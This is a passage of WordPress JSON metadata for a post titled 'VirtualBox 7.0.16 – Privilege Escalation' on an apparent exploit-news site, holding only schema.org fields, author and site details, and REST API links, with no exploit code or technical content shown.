Escalation","datePublished":"2025-05-09T14:43:12+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=3803"},"wordCount":1982,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.8","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=3803#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=3803","url":"https:\/\/zero.redgem.net\/?p=3803","name":"VirtualBox 7.0.16 - Privilege Escalation - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-09T14:43:12+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=3803#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=3803"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=3803#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"VirtualBox 7.0.16 – Privilege Escalation"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/3803","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3803"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/3803\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3803"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3803"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3803"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}